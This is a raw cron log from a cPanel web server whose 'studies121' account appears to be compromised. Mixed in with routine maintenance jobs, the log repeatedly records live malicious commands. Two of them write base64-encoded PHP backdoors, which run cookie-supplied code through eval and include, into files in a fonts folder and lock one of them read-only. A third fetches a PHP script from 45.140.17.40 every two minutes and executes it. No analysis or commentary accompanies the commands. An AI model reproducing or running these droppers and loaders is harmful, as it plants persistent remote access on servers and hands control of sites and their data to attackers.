Sep 11 04:09:01 ip-184-168-122-23 CROND[27631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:09:01 ip-184-168-122-23 CROND[27630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:10:01 ip-184-168-122-23 CROND[27757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27759]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:10:01 ip-184-168-122-23 CROND[27762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:10:01 ip-184-168-122-23 CROND[27772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:11:01 ip-184-168-122-23 CROND[27899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:11:01 ip-184-168-122-23 CROND[27901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:11:01 ip-184-168-122-23 CROND[27903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:11:01 ip-184-168-122-23 CROND[27904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:12:01 ip-184-168-122-23 CROND[28099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:12:01 ip-184-168-122-23 CROND[28102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:12:01 ip-184-168-122-23 CROND[28104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:12:01 ip-184-168-122-23 CROND[28103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:12:01 ip-184-168-122-23 CROND[28101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:13:01 ip-184-168-122-23 CROND[28221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:13:01 ip-184-168-122-23 CROND[28222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:13:01 ip-184-168-122-23 CROND[28223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:13:01 ip-184-168-122-23 CROND[28225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:14:01 ip-184-168-122-23 CROND[28318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:14:01 ip-184-168-122-23 CROND[28320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:14:01 ip-184-168-122-23 CROND[28324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:14:01 ip-184-168-122-23 CROND[28321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:14:01 ip-184-168-122-23 CROND[28323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:15:01 ip-184-168-122-23 CROND[28423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:15:01 ip-184-168-122-23 CROND[28424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:15:01 ip-184-168-122-23 CROND[28426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:15:01 ip-184-168-122-23 CROND[28430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:15:01 ip-184-168-122-23 CROND[28429]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 04:15:01 ip-184-168-122-23 CROND[28431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:15:01 ip-184-168-122-23 CROND[28432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:16:01 ip-184-168-122-23 CROND[28533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:16:01 ip-184-168-122-23 CROND[28536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:16:01 ip-184-168-122-23 CROND[28539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:16:01 ip-184-168-122-23 CROND[28538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:16:01 ip-184-168-122-23 CROND[28540]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:16:01 ip-184-168-122-23 CROND[28541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:17:01 ip-184-168-122-23 CROND[28691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:17:01 ip-184-168-122-23 CROND[28692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:17:01 ip-184-168-122-23 CROND[28693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:17:01 ip-184-168-122-23 CROND[28700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:18:01 ip-184-168-122-23 CROND[28867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:18:01 ip-184-168-122-23 CROND[28869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:18:01 ip-184-168-122-23 CROND[28870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:18:01 ip-184-168-122-23 CROND[28871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:18:01 ip-184-168-122-23 CROND[28872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:19:01 ip-184-168-122-23 CROND[28958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:19:01 ip-184-168-122-23 CROND[28960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:19:01 ip-184-168-122-23 CROND[28959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:19:01 ip-184-168-122-23 CROND[28961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29068]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:20:01 ip-184-168-122-23 CROND[29069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:20:01 ip-184-168-122-23 CROND[29072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:20:01 ip-184-168-122-23 CROND[29079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
